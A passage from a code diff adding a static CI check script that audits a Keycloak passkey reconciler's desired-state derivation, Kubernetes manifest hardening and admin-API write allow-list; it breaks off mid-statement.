+        substitution pass, that the reconciler cannot write the bound flow or delete
+        anything and binds only on git's bind-browser-flow, that the sibling reconciler
+        is unwidened, and run the reconciler's own selftest plus the mutation suite that
+        proves it can fail.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/keycloak-passkey-reconciler/check.sh

@@ -0,0 +1,754 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — keycloak-passkey-reconciler
+# Serves: R-IDP-03 ("Identity config (realms, clients, groups, roles) is declarative."
+#                   — spec docs/15-identity-and-access.md)
+#         R-IDP-04 ("IdP secrets SOPS-encrypted; MFA available."
+#                   — spec docs/15-identity-and-access.md)
+#
+# WHY THIS EXISTS — THE REALM IMPORT IS A ONE-SHOT THAT FAILS OPEN
+# ---------------------------------------------------------------
+# platform/keycloak/keycloak-realm-import.yaml declares the WebAuthn PASSWORDLESS
+# policy and a restructured `browser-mfa` browser flow. Measured on prod 2026-10-18,
+# hours after that declaration merged:
+#
+#   kubectl -n keycloak get keycloakrealmimport homelab -o jsonpath='{.status}'
+#   Done=True  Started=False  HasErrors=False
+#
+# A KeycloakRealmImport is a ONE-SHOT. Once it rests at Done=True the operator never
+# re-runs it, so every realm-level field and every flow declared after the FIRST
+# import is inert — in git, applied by Flux, reported Ready, reaching the realm
+# never. The same shape as the 2026-09-06 client-secret incident (12 prod clients
+# holding the literal `(env:...)` placeholder behind an entirely green cluster), and
+# the same fix: a level-triggered reconciler. This check is the static half.
+#
+# THE RECONCILER HOLDS WRITE ACCESS TO THE IDENTITY PROVIDER. That is the reason this
+# check is unusually thorough about its BLAST RADIUS rather than only its behaviour.
+#
+# GIVEN the repository as authored,
+# THEN  (1) THE DESIRED STATE IS DERIVED, NOT DECLARED TWICE: the reconciler's input
+#           (platform/keycloak/passkey-desired-state.yaml) is GENERATED from the realm
+#           import by ci/render-keycloak-passkey-policy.py, and this check RUNS the
+#           renderer with --check, so a hand edit that makes the two disagree is
+#           unmergeable. The RP ID is the sharpest case: it is baked into every passkey
+#           at enrolment and can NEVER be re-keyed, so two declarations that can skew
+#           about the domain is an unrecoverable-credential bug, not a cosmetic one.
+#       (2) BOTH FILES ARE RENDERED BY THE SAME FLUX KUSTOMIZATION.
+#           postBuild.substituteFrom is per-Kustomization, so a split would let the
+#           ${BASE_DOMAIN} token in the realm import and the one in the desired state
+#           resolve to two different values — and an RP ID mismatch invalidates every
+#           enrolled passkey with no error the user can act on.
+#       (3) THE DESIRED STATE USES NO SUBSTITUTION TOKEN THE REALM IMPORT DOES NOT, and
+#           declares no realm key outside the reconciler's write surface.
+#       (4) THE TWO WRITE SURFACES AGREE: the renderer's exported policy keys and the
+#           reconciler's POLICY_FIELDS are the SAME tuple. If they drifted, the renderer
+#           could emit a key the reconciler refuses (fail-closed forever) or the
+#           reconciler could accept a key the renderer never emits (dead surface).
+#       (5) THE RECONCILER MANIFEST IS SAFE AND WIRED: reconciled from BOTH cluster
+#           entrypoints, mounts exactly the ConfigMaps its code defaults to, carries NO
+#           ServiceAccount token, and contains no dollar sign (it ships inside a
+#           SUBSTITUTED Flux path, where an unescaped dollar-brace expansion is
+#           rewritten before any container runs).
+#       (6) THE CURRENTLY BOUND FLOW IS STRUCTURALLY UNWRITABLE — asserted against the
+#           SOURCE, not the comments. The flow converges BLUE/GREEN (build under a new
+#           alias, verify, flip browserFlow in one atomic PUT), so flow-create and
+#           execution-add endpoints ARE on the allow-list and their presence is not the
+#           hazard. What is asserted instead: nothing is DELETABLE (the superseded flow
+#           is the rollback target); the execution- and config-id-scoped write endpoints
+#           stay off the list because they carry no flow alias and so cannot be screened;
+#           no required-action write reaches any alias but the one named literally; and
+#           the guard the allow-list CANNOT express exists in the source and is wired
+#           into the single request choke point, FAIL-CLOSED until the live binding has
+#           been read. That last one is what the whole design rests on: a reconciler that
+#           half-rewrites the BOUND browser flow is a total SSO outage on a loop, and
+#           this repo has had one (2026-09-06).
+#      (6b) THE BIND IS GIT'S DECISION: the desired-state ConfigMap carries
+#           bind-browser-flow as exactly "true" or "false", the script reads it from the
+#           SAME mount, and the CronJob passes no flag that could widen it. With "false"
+#           (the default) the reconciler builds and verifies but never PUTs browserFlow,
+#           so an operator's rollback sticks; the selftest proves that end to end.
+#       (7) THE SIBLING RECONCILER IS UNTOUCHED: client-secret-reconciler.yaml's
+#           allow-list is NOT widened by this work. Its --selftest asserts it refuses
+#           /users, /groups, /roles, /authentication and the whole-realm endpoint, and
+#           its guarantee that prod's real user and the media-users / platform-admins /
+#           viewers groups survive every run must stay LITERALLY true.
+#       (8) THE RECONCILER'S BEHAVIOUR IS PROVEN, NOT ASSERTED: this check EXTRACTS the
+#           script from the ConfigMap and executes its `--selftest`, which drives the
+#           real code paths against an in-process stub Keycloak that MODELS the three
+#           Keycloak 26.0.6 behaviours that bite — the RpEntityName gate on the
+#           passwordless policy, the all-or-nothing policy rebuild that defaults every
+#           omitted key, and the required-action representation replace.
+#      (8b) AND THAT PROOF IS FALSIFIABLE: mutations.py injects plausible regressions
+#           one at a time and requires --selftest to CATCH every one. A passing suite
+#           proves nothing if it cannot fail, and "reported success while the realm was
+#           broken" is the exact failure this component exists to end.
+#   AND (9) THIS CHECK IS LOAD-BEARING: it DECLARES
+#           `conformance.home.k3s/scope: whole-repo` so ci/l0.sh runs it unconditionally
+#           via --include-scope, ci/gate.sh blocks the merge when the l0 stage fails, and
+#           ci/touched-requirements.sh maps platform/keycloak/ to these requirement IDs.
+#           An unreferenced test is precisely the "looks applied and isn't" failure this
+#           repo keeps hitting.
+#
+# NOT proven here (named honestly, in the style of the sibling L0 checks):
+#   - that the LIVE realm's policy, enrolment action or browser flow match git. That is
+#     cluster state. The reconciler's own `--audit` mode is the read-only probe for it
+#     and is what an L2 test should run; no such L2 test is added by this change, so the
+#     live realm is UNVERIFIED by CI.
+#   - that the declared browser flow actually WORKS as a login path. Nothing offline can
+#     prove that a passkey ceremony completes, that the ALTERNATIVE fork degrades to the
+#     password form, or that a platform-admin is still asked for TOTP. Those need a real
+#     browser against a real realm.
+#   - that the reconciler's first real run against prod will succeed. The flow is built
+#     through five admin-API endpoints whose request shapes were read from the 26.0.6
+#     source but never exercised against a live Keycloak.
+#   - that the admin credential decrypts to a usable password. Key PRESENCE is checkable
+#     offline; the plaintext is not, and must not be.
+#   - that the CronJob's image can be pulled or its schedule fires.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+IMPORT_FILE="platform/keycloak/keycloak-realm-import.yaml"
+RECON_FILE="platform/keycloak/passkey-reconciler.yaml"
+STATE_FILE="platform/keycloak/passkey-desired-state.yaml"
+RENDERER="ci/render-keycloak-passkey-policy.py"
+SIBLING_FILE="platform/keycloak/client-secret-reconciler.yaml"
+
+# Honest SKIP (never green) if the thing under test is absent entirely.
+for f in "$IMPORT_FILE" "$RECON_FILE" "$STATE_FILE" "$RENDERER"; do
+  if [ ! -f "${ROOT}/${f}" ]; then
+    echo "check SKIPPED: ${f} absent — nothing to audit" >&2
+    exit 3
+  fi
+done
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit of the Keycloak passkey declaration, the renderer that derives the
+reconciler's desired state from it, and the reconciler's blast radius. PyYAML parses the
+manifests; lib/status.py is IMPORTED for the Flux graph walk rather than forked, so there
+is one definition of "what a Flux path renders" in the harness."""
+from __future__ import annotations
+
+import ast
+import json
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+import yaml
+
+ROOT = Path(sys.argv[1])
+# This body is fed to `python3 -` on stdin, so there is no __file__ to derive from; the
+# test directory is named relative to the repo root the wrapper passes in.
+DIR_PATH = (ROOT / "conformance" / "tests" / "l0-static"
+            / "keycloak-passkey-reconciler")
+sys.path.insert(0, str(ROOT / "conformance" / "lib"))
+import status as st  # noqa: E402
+
+IMPORT_FILE = "platform/keycloak/keycloak-realm-import.yaml"
+RECON_FILE = "platform/keycloak/passkey-reconciler.yaml"
+STATE_FILE = "platform/keycloak/passkey-desired-state.yaml"
+RENDERER = "ci/render-keycloak-passkey-policy.py"
+SIBLING_FILE = "platform/keycloak/client-secret-reconciler.yaml"
+STATE_CM_NAME = "keycloak-passkey-desired-state"
+STATE_DATA_KEY = "passkey-desired-state.json"
+BIND_KEY = "bind-browser-flow"
+SCRIPT_KEY = "reconcile-keycloak-passkeys.py"
+ENROL_ACTION = "webauthn-register-passwordless"
+DOLLAR = chr(36)
+
+failures: list[str] = []
+
+
+def check(cond, msg):
+    if not cond:
+        failures.append(msg)
+
+
+def load(rel):
+    return list(yaml.safe_load_all((ROOT / rel).read_text()))
+
+
+# ================================================== (1) the desired state is DERIVED
+proc = subprocess.run([sys.executable, str(ROOT / RENDERER), "--check"],
+                      capture_output=True, text=True, timeout=120)
+check(proc.returncode == 0,
+      f"{STATE_FILE} has DRIFTED from {IMPORT_FILE} (ci/render-keycloak-passkey-policy"
+      f".py --check failed). The reconciler would converge the realm on a passkey policy "
+      f"the realm import does not declare, and audit the login flow against a tree "
+      f"nobody authored. The RP ID is the sharpest case: it is baked into every passkey "
+      f"at enrolment and can NEVER be re-keyed, so two declarations that skew about the "
+      f"domain is an unrecoverable-credential bug.\n        "
+      + "\n        ".join((proc.stdout + proc.stderr).strip().splitlines()[-12:]))
+
+# The realm import must actually declare the things the renderer derives from. If it
+# stops, the renderer fails -- but say so HERE too, because a SKIP-shaped failure in the
+# renderer would otherwise be the only signal.
+imp_docs = [d for d in load(IMPORT_FILE) if d]
+imp = next((d for d in imp_docs if d.get("kind") == "KeycloakRealmImport"), None)
+check(imp is not None, f"{IMPORT_FILE}: no KeycloakRealmImport document")
+realm = ((imp or {}).get("spec") or {}).get("realm") or {}
+policy_keys_in_import = sorted(k for k in realm
+                               if k.startswith("webAuthnPolicyPasswordless"))
+check(policy_keys_in_import,
+      f"{IMPORT_FILE} declares no webAuthnPolicyPasswordless* field, so there is no "
+      f"passkey policy for the reconciler to converge")
+check(realm.get("browserFlow"),
+      f"{IMPORT_FILE} declares no spec.realm.browserFlow — a perfect flow that is not "
+      f"BOUND changes nothing about how anyone logs in")
+
+# THE requiredActions TRAP, enforced rather than only commented. The realm import's own
+# header explains it at length: Keycloak 26.0.6 treats requiredActions in a realm
+# representation as REPLACE, not merge, so declaring ONE action imports exactly that
+# action plus delete_account and skips DefaultRequiredActions.addActions entirely --
+# deleting CONFIGURE_TOTP, UPDATE_PASSWORD, VERIFY_EMAIL and seven more. Losing
+# CONFIGURE_TOTP is a hard lock-out of every platform-admin, because auth-otp-form in the
+# browser flow still demands a TOTP they could then never enrol. The comment saying "DO
+# NOT ADD ONE" is advice; this is the gate.
+check("requiredActions" not in realm,
+      f"{IMPORT_FILE} declares spec.realm.requiredActions. Keycloak 26.0.6 treats that "
+      f"as REPLACE, not merge: declaring any action imports exactly those plus "
+      f"delete_account and NEVER runs DefaultRequiredActions.addActions, so "
+      f"CONFIGURE_TOTP, UPDATE_PASSWORD, VERIFY_EMAIL and seven more are DELETED. That "
+      f"is a permanent lock-out of every platform-admin, because auth-otp-form in this "
+      f"realm's browser flow still demands a TOTP they could no longer enrol. The "
+      f"enrolment action is already registered by default (priority 80, enabled, "
+      f"defaultAction false) and the passkey reconciler converges it through the "
+      f"per-alias admin API, which has no such hazard")
+
+# ============================== (2)(3) the two files share one substitution pass
+state_docs = [d for d in load(STATE_FILE) if d]
+state_cm = next((d for d in state_docs if d.get("kind") == "ConfigMap"), None)
+check(state_cm is not None, f"{STATE_FILE}: no ConfigMap")
+desired = {}
+if state_cm is not None:
+    check(state_cm["metadata"]["name"] == STATE_CM_NAME,
+          f"{STATE_FILE}: the ConfigMap is named "
+          f"{state_cm['metadata']['name']!r}, but the CronJob mounts {STATE_CM_NAME!r}")
+    data = state_cm.get("data") or {}
+    check(sorted(data) == sorted([STATE_DATA_KEY, BIND_KEY]),
+          f"{STATE_FILE}: expected exactly the data keys {STATE_DATA_KEY!r} and "
+          f"{BIND_KEY!r}, got {sorted(data)} — the reconciler's PASSKEY_STATE_FILE / "
+          f"PASSKEY_BIND_FILE defaults would not resolve")
+    # THE BIND SWITCH. An unquoted true/false is a YAML BOOLEAN, which a ConfigMap rejects
+    # at apply time -- failing the whole platform-config Kustomization, realm import
+    # included. The renderer refuses it too; asserted here so the reason is on record.
+    check(data.get(BIND_KEY) in ("true", "false"),
+          f"{STATE_FILE}: data.{BIND_KEY} is {data.get(BIND_KEY)!r}; it must be the QUOTED "
+          f"string \"true\" or \"false\"")
+    raw = data.get(STATE_DATA_KEY, "")
+    try:
+        desired = json.loads(raw)
+    except ValueError as e:
+        check(False, f"{STATE_FILE}: the {STATE_DATA_KEY} payload is not valid JSON "
+                     f"({e}) — the reconciler would fail closed on every run")
+
+# Both files must be rendered by ONE Flux Kustomization. substituteFrom is
+# per-Kustomization, so a split lets the same ${BASE_DOMAIN} token resolve to two
+# different values -- and an RP ID mismatch invalidates every enrolled passkey silently.
+import_owners = set()
+state_owners = set()
+recon_owners = set()
+for env in ("dev", "prod"):
+    entry = f"clusters/{env}"
+    if not (ROOT / entry).is_dir():
+        continue
+    applied, _ = st.reconciled_files(ROOT, entry)
+    check(RECON_FILE in applied,
+          f"{RECON_FILE} is not reachable from the {entry} entrypoint — the passkey "
+          f"healer would exist on one cluster only")
+    check(STATE_FILE in applied,
+          f"{STATE_FILE} is not reachable from the {entry} entrypoint — the reconciler "
+          f"would fail closed on that cluster forever")
+    check(IMPORT_FILE in applied, f"{IMPORT_FILE} is not reachable from {entry}")
+
+# Which Kustomization DIRECTORY lists each file. Asserted structurally: both must be
+# listed as resources of the same kustomization.yaml.
+for kpath in ROOT.glob("*/kustomization.yaml"):
+    try:
+        k = yaml.safe_load(kpath.read_text()) or {}
+    except Exception:
+        continue
+    res = [str(r) for r in (k.get("resources") or [])]
+    base = kpath.parent.name
+    if any(r.endswith("keycloak-realm-import.yaml") for r in res):
+        import_owners.add(base)
+    if any(r.endswith("passkey-desired-state.yaml") for r in res):
+        state_owners.add(base)
+    if any(r.endswith("passkey-reconciler.yaml") for r in res):
+        recon_owners.add(base)
+check(import_owners and import_owners == state_owners,
+      f"{IMPORT_FILE} is rendered by {sorted(import_owners)} but {STATE_FILE} by "
+      f"{sorted(state_owners)}. They MUST be the same Flux Kustomization: "
+      f"postBuild.substituteFrom is per-Kustomization, so a split would let the "
+      f"{DOLLAR}{{BASE_DOMAIN}} token in each resolve to a different value. An RP ID is "
+      f"baked into every passkey at enrolment and can never be re-keyed, so a domain the "
+      f"two files disagree about is an unrecoverable credential, not a cosmetic drift")
+check(recon_owners == state_owners,
+      f"{RECON_FILE} is rendered by {sorted(recon_owners)} but its desired state by "
+      f"{sorted(state_owners)} — the reconciler could be applied without its input")
+
+# (3) no substitution token the realm definition does not also use.
+import_text = (ROOT / IMPORT_FILE).read_text()
+TOKEN = re.compile(re.escape(DOLLAR) + r"\{([A-Za-z_][A-Za-z0-9_]*)")
+state_tokens = set(TOKEN.findall((ROOT / STATE_FILE).read_text()))
+import_tokens = set(TOKEN.findall(import_text))
+# The renderer's own HEADER mentions ${BASE_DOMAIN} in prose; that is the same token the
+# policy uses, so a subset check is the right assertion rather than an exact match.
+check(state_tokens <= import_tokens,
+      f"{STATE_FILE} uses substitution token(s) {sorted(state_tokens - import_tokens)} "
+      f"that {IMPORT_FILE} does not. A token the realm definition never uses is either a "
+      f"hand edit or a renderer bug, and an UNDEFINED one renders as the EMPTY STRING "
+      f"silently — which for an RP ID means every passkey ceremony fails")
+
+# ======================================= (4) the two write surfaces are the SAME tuple
+recon_docs = [d for d in load(RECON_FILE) if d]
+cm = next((d for d in recon_docs if d.get("kind") == "ConfigMap"), None)
+cj = next((d for d in recon_docs if d.get("kind") == "CronJob"), None)
+check(cm is not None, f"{RECON_FILE}: no ConfigMap carrying the reconciler script")
+check(cj is not None, f"{RECON_FILE}: no CronJob running the reconciler")
+
+script = ""
+if cm is not None:
+    data = cm.get("data") or {}
+    check(len(data) == 1,
+          f"{RECON_FILE}: the reconciler ConfigMap must carry exactly one script key "
+          f"(found {sorted(data)}) — a second copy would be untested by this gate")
+    check(SCRIPT_KEY in data,
+          f"{RECON_FILE}: expected the script under {SCRIPT_KEY!r}, got {sorted(data)}")
+    script = next(iter(data.values()), "")
+    check(len(script.splitlines()) > 200,
+          f"{RECON_FILE}: the extracted script is implausibly short "
+          f"({len(script.splitlines())} lines) — the ConfigMap shape changed and the "
+          f"selftest below would prove nothing")
+    # THE nextcloud TRAP. This file is rendered by a Flux Kustomization with
+    # postBuild.substituteFrom, so envsubst rewrites it before any container runs.
+    check(DOLLAR not in script,
+          f"{RECON_FILE}: the reconciler script contains a dollar sign. It ships inside "
+          f"a SUBSTITUTED Flux path, where a dollar-brace expansion is rewritten at "
+          f"reconcile time (see apps/wave-1/nextcloud.yaml). Rewrite without it — Python "
+          f"never needs one; chr(36) spells it where a literal is genuinely required")
+
+
+def tuple_literal(src, name):
+    """The value of a module-level tuple assignment, via ast. Parsing the SOURCE rather
+    than importing it keeps this check offline and side-effect free, and means the thing
+    asserted is the text that ships."""
+    try:
+        tree = ast.parse(src)
+    except SyntaxError:
+        return None
+    for node in tree.body:
+        if isinstance(node, ast.Assign):
+            for t in node.targets:
+                if isinstance(t, ast.Name) and t.id == name:
+                    try:
+                        return ast.literal_eval(node.value)
+                    except ValueError:
+                        return None
+    return None
+
+
+renderer_src = (ROOT / RENDERER).read_text()
+
+
+# POLICY_FIELDS is a CONCATENATION of other tuples in both files, so literal_eval of the
+# assignment itself cannot evaluate it. Resolve it from its parts instead. Both files name
+# their parts from the same vocabulary; a part present in one and not the other simply
+# contributes nothing, which is why the comparison below is of the resolved SETS.
+def resolve_policy(src):
+    parts = ("POLICY_STR_FIELDS", "POLICY_ORDERED_LIST_FIELDS",
+             "POLICY_UNORDERED_LIST_FIELDS", "POLICY_LIST_FIELDS", "POLICY_INT_FIELDS",
+             "POLICY_BOOL_FIELDS")
+    out = []
+    for p in parts:
+        v = tuple_literal(src, p)
+        if v:
+            out.extend(v)
+    return sorted(set(out))
+
+
+recon_keys = resolve_policy(script)
+rend_keys = resolve_policy(renderer_src)
+check(recon_keys and recon_keys == rend_keys,
+      f"the reconciler's writable policy keys {recon_keys} and the renderer's exported "
+      f"keys {rend_keys} DISAGREE. If the renderer emits a key the reconciler refuses, "
+      f"every run fails closed forever; if the reconciler accepts a key the renderer "
+      f"never emits, that is dead write surface on the identity provider")
+# Every exported key must actually be a passwordless key. The two-factor
+# webAuthnPolicy* family is a silent no-op for passkeys (the passwordless authenticator
+# reads getWebAuthnPolicyPasswordless() only), so exporting one would be a write surface
+# with no effect.
+check(all(k.startswith("webAuthnPolicyPasswordless") for k in recon_keys),
+      f"the reconciler's writable keys include a non-passwordless field: "
+      f"{[k for k in recon_keys if not k.startswith('webAuthnPolicyPasswordless')]}. "
+      f"The two-factor webAuthnPolicy* family is never consulted by a passkey login, so "
+      f"writing it is a silent no-op")
+# And the desired state must declare only those.
+if isinstance(desired.get("webAuthnPolicyPasswordless"), dict):
+    extra = sorted(set(desired["webAuthnPolicyPasswordless"]) - set(recon_keys))
+    check(not extra,
+          f"{STATE_FILE} declares policy key(s) {extra} outside the reconciler's write "
+          f"surface — it would fail closed on every run")
+    # The 26.0.6 gate: the policy is applied ONLY when RpEntityName is non-empty.
+    check(desired["webAuthnPolicyPasswordless"].get(
+              "webAuthnPolicyPasswordlessRpEntityName"),
+          f"{STATE_FILE} carries no non-empty "
+          f"webAuthnPolicyPasswordlessRpEntityName. Keycloak 26.0.6 applies the "
+          f"passwordless policy only when that field is set "
+          f"(DefaultExportImportManager.updateRealm), so every realm PUT would be "
+          f"accepted with 204 and change nothing")
+
+# THE ENROLMENT POSTURE. defaultAction true would force every user to enrol a passkey at
+# next login -- a platform-wide lock-out risk, and the exact opposite of the realm
+# import's stated "additive and optional" decision. It is one boolean, so it is gated.
+ra = desired.get("requiredAction") or {}
+check(ra.get("alias") == ENROL_ACTION,
+      f"{STATE_FILE}: requiredAction.alias is {ra.get('alias')!r}, expected "
+      f"{ENROL_ACTION!r} — the reconciler's allow-list names that alias literally, so "
+      f"any other value is unreachable and the pass would fail closed")
+check(ra.get("enabled") is True,
+      f"{STATE_FILE}: requiredAction.enabled must be true, else passkey ENROLMENT is "
+      f"impossible while the login flow offers passkeys")
+check(ra.get("defaultAction") is False,
+      f"{STATE_FILE}: requiredAction.defaultAction is {ra.get('defaultAction')!r}, which "
+      f"must be false. True forces EVERY user to enrol a passkey at next login — this "
+      f"IdP gates Grafana, Gitea, Nextcloud, Headlamp, Semaphore, PiHole, Crafty, the "
+      f"*arr stack AND kubectl, so a misfiring mandatory enrolment is a total platform "
+      f"lock-out. The realm import's whole stated posture is additive and OPTIONAL")
+
+# ========================================= (5) the reconciler manifest is safe + wired
+if cj is not None:
+    pod = cj["spec"]["jobTemplate"]["spec"]["template"]["spec"]
+    ctr = pod["containers"][0]
+    vols = {v["name"]: v for v in pod.get("volumes", [])}
+    mounts = {m["name"]: m for m in ctr.get("volumeMounts", [])}
+    env = {e["name"]: e for e in ctr.get("env", [])}
+
+    # NO KUBERNETES API ACCESS. This is what makes the mounted-ConfigMap design strictly
+    # narrower than reading the KeycloakRealmImport CR through the API: no Role, no
+    # RoleBinding, no token. It is also why this change adds no **/rbac.yaml.
+    check(pod.get("automountServiceAccountToken") is False,
+          f"{RECON_FILE}: the reconciler must set automountServiceAccountToken: false. "
+          f"It talks only to the Keycloak admin API and reads a mounted ConfigMap, so a "
+          f"ServiceAccount token is pure blast radius (R-SEC-02)")
+    check("serviceAccountName" not in pod,
+          f"{RECON_FILE}: the reconciler must not name a ServiceAccount")
+
+    cm_vols = {n: v for n, v in vols.items() if "configMap" in v}
+    names = {(v["configMap"] or {}).get("name") for v in cm_vols.values()}
+    check(STATE_CM_NAME in names,
+          f"{RECON_FILE}: the CronJob does not mount the {STATE_CM_NAME} ConfigMap, so "
+          f"the reconciler would fail closed on every run. Mounted: {sorted(names)}")
+    check(cm["metadata"]["name"] in names,
+          f"{RECON_FILE}: the CronJob does not mount its own script ConfigMap")
+    # NO SECRET IS MOUNTED AS A VOLUME. The admin credential is consumed via
+    # secretKeyRef only; projecting it as a file would widen what a readable mount leaks.
+    check(not [v for v in vols.values() if "secret" in v],
+          f"{RECON_FILE}: the reconciler mounts a Secret as a volume. The admin "
+          f"credential is referenced by secretKeyRef only; it must never be projected "
+          f"as a file here")
+
+    # The mount paths must be the ones the code DEFAULTS to, or the container starts and
+    # fails closed forever while every manifest looks correct.
+    state_vol = next((n for n, v in cm_vols.items()
+                      if (v["configMap"] or {}).get("name") == STATE_CM_NAME), None)
+    if state_vol:
+        mp = (mounts.get(state_vol) or {}).get("mountPath")
+        check(mp == "/etc/keycloak-passkey",
+              f"{RECON_FILE}: the desired-state ConfigMap is mounted at {mp!r}, but the "
+              f"script's PASSKEY_STATE_FILE default is "
+              f"/etc/keycloak-passkey/{STATE_DATA_KEY}")
+        check(f'"/etc/keycloak-passkey/{STATE_DATA_KEY}"' in script,
+              f"{RECON_FILE}: the script's PASSKEY_STATE_FILE default no longer matches "
+              f"the mount path — they are a pair and must move together")
+        check((mounts.get(state_vol) or {}).get("readOnly") is True,
+              f"{RECON_FILE}: the desired-state mount must be readOnly")
+        check(f'"/etc/keycloak-passkey/{BIND_KEY}"' in script,
+              f"{RECON_FILE}: the script's PASSKEY_BIND_FILE default is not "
+              f"/etc/keycloak-passkey/{BIND_KEY}. An unresolved bind file reads as \"false\" "
+              f"(safe, but git's \"true\" would then silently never take effect)")
+        check(not (state_vol and (cm_vols[state_vol]["configMap"] or {}).get("items")),
+              f"{RECON_FILE}: the desired-state volume selects `items`, so one of its two "
+              f"keys may not be projected")
+
+    # The bind decision belongs to git. A container arg could only NARROW it today
+    # (--no-bind), but nothing in the CronJob may carry a mode flag at all: the shipped
+    # behaviour must be readable from passkey-desired-state.yaml alone.
+    cmd = [str(x) for x in (ctr.get("command") or []) + (ctr.get("args") or [])]
+    check(not [x for x in cmd if x.startswith("--")],
+          f"{RECON_FILE}: the CronJob passes {[x for x in cmd if x.startswith('--')]} to "
+          f"the reconciler. Its mode is decided by git (bind-browser-flow), not by flags")
+    # Retries burn the bounded candidate-alias budget on a deterministic failure.
+    check(cj["spec"]["jobTemplate"]["spec"].get("backoffLimit") == 0,
+          f"{RECON_FILE}: backoffLimit must be 0 — every failure here is deterministic "
+          f"within a tick, and each retried build consumes another candidate alias")
+
+    # The admin credential, referenced BY NAME. Never decrypted, never a literal.
+    for key in ("KEYCLOAK_ADMIN_USER", "KEYCLOAK_ADMIN_PASSWORD"):
+        e = env.get(key) or {}
+        ref = ((e.get("valueFrom") or {}).get("secretKeyRef") or {})
+        check(ref.get("name") == "keycloak-admin-credentials",
+              f"{RECON_FILE}: {key} must come from the keycloak-admin-credentials "
+              f"Secret by secretKeyRef, got {e!r}")
+        check("value" not in e,
+              f"{RECON_FILE}: {key} carries a literal `value`. A credential in a "
+              f"manifest is a plaintext secret in git")
+    check((env.get("KEYCLOAK_REALM") or {}).get("value") == desired.get("realm"),
+          f"{RECON_FILE}: KEYCLOAK_REALM is "
+          f"{(env.get('KEYCLOAK_REALM') or {}).get('value')!r} but the desired state "
+          f"declares realm {desired.get('realm')!r}. The reconciler would converge the "
+          f"wrong realm, or none")
+
+    check(ctr["securityContext"]["readOnlyRootFilesystem"] is True,
+          f"{RECON_FILE}: readOnlyRootFilesystem must be true")
+    check(ctr["securityContext"]["allowPrivilegeEscalation"] is False,
+          f"{RECON_FILE}: allowPrivilegeEscalation must be false")
+    check(pod["securityContext"].get("runAsNonRoot") is True,
+          f"{RECON_FILE}: runAsNonRoot must be true")
+    check(cj["spec"].get("concurrencyPolicy") == "Forbid",
+          f"{RECON_FILE}: concurrencyPolicy must be Forbid — two concurrent reconcilers "
+          f"would double the write attempts against the IdP during an outage recovery")
+    check(re.fullmatch(r"\S+ \S+ \S+ \S+ \S+", cj["spec"].get("schedule", "")),
+          f"{RECON_FILE}: schedule {cj['spec'].get('schedule')!r} is not a 5-field cron")
+
+# ===== (6) THE BOUND FLOW IS STRUCTURALLY UNWRITABLE — asserted against the SOURCE
+#
+# This component converges the browser flow BLUE/GREEN: it builds the target structure
+# under a NEW, unused alias, verifies it, then flips the realm's browserFlow in ONE
+# atomic PUT. It therefore NEEDS flow-create and execution-add endpoints, so unlike the
+# first design of this check the mere presence of a flow write is no longer the thing to
+# forbid. What must hold instead is narrower and stronger:
+#
+#   (a) nothing may be DELETED, ever — the superseded flow is the rollback target;
+#   (b) the single-execution and config-edit endpoints stay off the list — requirements
+#       are set through the flow-scoped endpoint, which the guard in (d) screens;
+#   (c) no required-action write may reach any alias but the one named LITERALLY;
+#   (d) and the guard the allow-list CANNOT express must exist in the source: a
+#       method-aware screen that refuses any flow write targeting the CURRENTLY BOUND
+#       flow's subtree, FAIL-CLOSED until that binding has been read.
+#
+# (d) is the load-bearing one. Without it the reconciler could mutate the flow users are
+# logging in through, and a run dying mid-restructure would leave a HALF-BUILT FLOW BOUND
+# AS THE LOGIN PATH for Grafana, Gitea, Nextcloud, Headlamp, Semaphore, PiHole, Crafty,
+# the *arr stack AND kubectl. This repo has already had a total SSO outage from a realm
+# change (2026-09-06).
+allow = tuple_literal(script, "_ALLOWED") or ()
+check(bool(allow),
+      f"{RECON_FILE}: could not parse the _ALLOWED endpoint allow-list out of the "
+      f"script. This check's central assertions about the write surface cannot be made, "
+      f"so it must FAIL rather than pass silently")
+if allow:
+    check(all(isinstance(e, tuple) and len(e) == 2 for e in allow),
+          f"{RECON_FILE}: _ALLOWED is not a tuple of (method, path) pairs. A path-only "
+          f"allow-list cannot distinguish reading a flow from writing one, which this "
+          f"component's whole safety argument rests on")
+    writes = [(m, p) for m, p in allow if m in ("PUT", "POST", "PATCH", "DELETE")]
+    # (a) nothing is ever deleted.
+    check(not [(m, p) for m, p in allow if m == "DELETE"],
+          f"{RECON_FILE}: the allow-list contains a DELETE method. Nothing this program "
+          f"does requires deleting anything: a superseded flow is left unbound as the "
+          f"ROLLBACK TARGET, and DELETE /admin/realms/<realm> deletes the realm")
+    # (b) the endpoints that would let it edit live objects in place.
+    banned = [(m, p) for m, p in writes
+              if re.fullmatch(r"/admin/realms/\[\^/\]\+/authentication/executions/"
+                              r"\[\^/\]\+", p)
+              or re.fullmatch(r"/admin/realms/\[\^/\]\+/authentication/config/\[\^/\]\+",
+                              p)
+              or p.endswith("/authentication/register-required-action")]
+    check(not banned,
+          f"{RECON_FILE}: the allow-list permits {banned}. The single-execution update "
+          f"and config-edit endpoints must stay off it: requirements are set through the "
+          f"FLOW-SCOPED endpoint, which carries the flow alias in its path and is "
+          f"therefore screenable against the bound subtree. An execution- or "
+          f"config-id-scoped write is not, so it would be an unscreened hole")
+    # (c) no required-action write may reach any other alias.
+    ra_writes = [(m, p) for m, p in writes if "required-actions" in p]
+    check(all(p.endswith("required-actions/" + ENROL_ACTION) for _, p in ra_writes),
+          f"{RECON_FILE}: the allow-list permits a required-action write to an alias "
+          f"other than {ENROL_ACTION!r}: {ra_writes}. Disabling CONFIGURE_TOTP is a "
+          f"permanent lock-out of every platform-admin, because auth-otp-form in the "
+          f"browser flow still demands a TOTP that could no longer be enrolled")
+    check(not [p for _, p in ra_writes if "[^/]+" in p.split("required-actions/")[-1]],
+          f"{RECON_FILE}: a required-action write path uses a WILDCARD alias. The alias "
+          f"must be named LITERALLY so no other action is writable by construction")
+    # Nothing outside the realm + authentication surface at all.
+    stray = [(m, p) for m, p in allow
